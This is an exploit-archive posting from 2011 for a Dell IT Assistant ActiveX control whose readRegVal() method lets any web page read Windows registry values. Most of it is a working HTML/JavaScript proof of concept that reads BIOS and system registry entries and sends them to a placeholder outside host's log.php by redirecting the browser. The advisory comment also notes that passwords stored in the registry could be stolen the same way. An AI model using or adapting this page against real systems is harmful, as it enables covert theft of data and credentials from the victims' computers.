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Dell IT Assistant detectIESettingsForITA.ocx Remote Registry Dump

Dell IT Assistant detectIESettingsForITA.ocx Remote Registry Dump
Posted Jul 16, 2011
Authored by rgod | Site retrogod.altervista.org

Dell IT Assistant detectIESettingsForITA.ocx Active-X control readRegVal() remote registry dump exploit.

tags | exploit, remote, registry, activex
SHA-256 | 972fe47b27217c4fe43b9ab5056484e368ca06d298659a3290fa514440134e4e

Dell IT Assistant detectIESettingsForITA.ocx Remote Registry Dump

Change Mirror Download
<!--
Dell IT Assistant detectIESettingsForITA.ocx ActiveX Control
readRegVal() Remote Registry Dump Vulnerability

download uri:
ftp://ftp.us.dell.com/sysman/OM-ITAssistant-Dell-Web-WIN-6.5.0-2247_A01.21.exe

ActiveX settings:

CLSID: {6286EF1A-B56E-48EF-90C3-743410657F3C}
ProgID: DETECTIESETTINGS.detectIESettingsCtrl.1
Binary path: C:\WINDOWS\DOWNLO~1\DETECT~1.OCX
File Version: 8.1.0.0
Safe for Scripting (Registry): TRUE
Safe for Initialization: TRUE

The readRegVal() method allows to dump specific values from
the Windows registry.
Frome the typelib:

..
/* DISPID=1 */
/* VT_BSTR [8] */
function readRegVal(
/* VT_BSTR [8] */ $root,
/* VT_BSTR [8] */ $key,
/* VT_BSTR [8] */ $tag
)
{
/* method readRegVal */
}
..

Instead of searching inside a specific hive,
this control asks to specify a root key.
In my experience, lots of application stores encrypted or even
clear text passwords inside the registry, so an attacker
can abuse this to gain certain credentials from the victim
browser. If you ask me, this is not acceptable.

This sample code extracts BIOS informations and
redirects to a specified url with this info
passed as parameters.
Through some more programming efforts, you could dump a bigger
portion of the registry.


rgod
-->
<html>
<object classid='clsid:6286EF1A-B56E-48EF-90C3-743410657F3C' id='obj' />
</object>
<script>

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardManufacturer");
document.write(x + "<BR>");

url="http://www.sdfsdsdfsdfsffsdf.com/log.php?BM=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardProduct");
document.write(x + "<BR>");

url+= "&BP=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BaseBoardVersion");
document.write(x + "<BR>");

url+= "&BV=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BIOSVendor");
document.write(x + "<BR>");

url+= "&BIOSV=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","BIOSVersion");
document.write(x + "<BR>");

url+= "&BIOSVE=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemManufacturer");
document.write(x + "<BR>");

url+= "&SM=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemProductName");
document.write(x + "<BR>");

url+= "&SP=" + escape(x);

x = obj.readRegVal("HKLM","HARDWARE\\DESCRIPTION\\System\\BIOS","SystemVersion");
document.write(x + "<BR>");

url+= "&SV=" + escape(x);

document.location= url;
</script>

original url: http://retrogod.altervista.org/9sg_dell_activex.html
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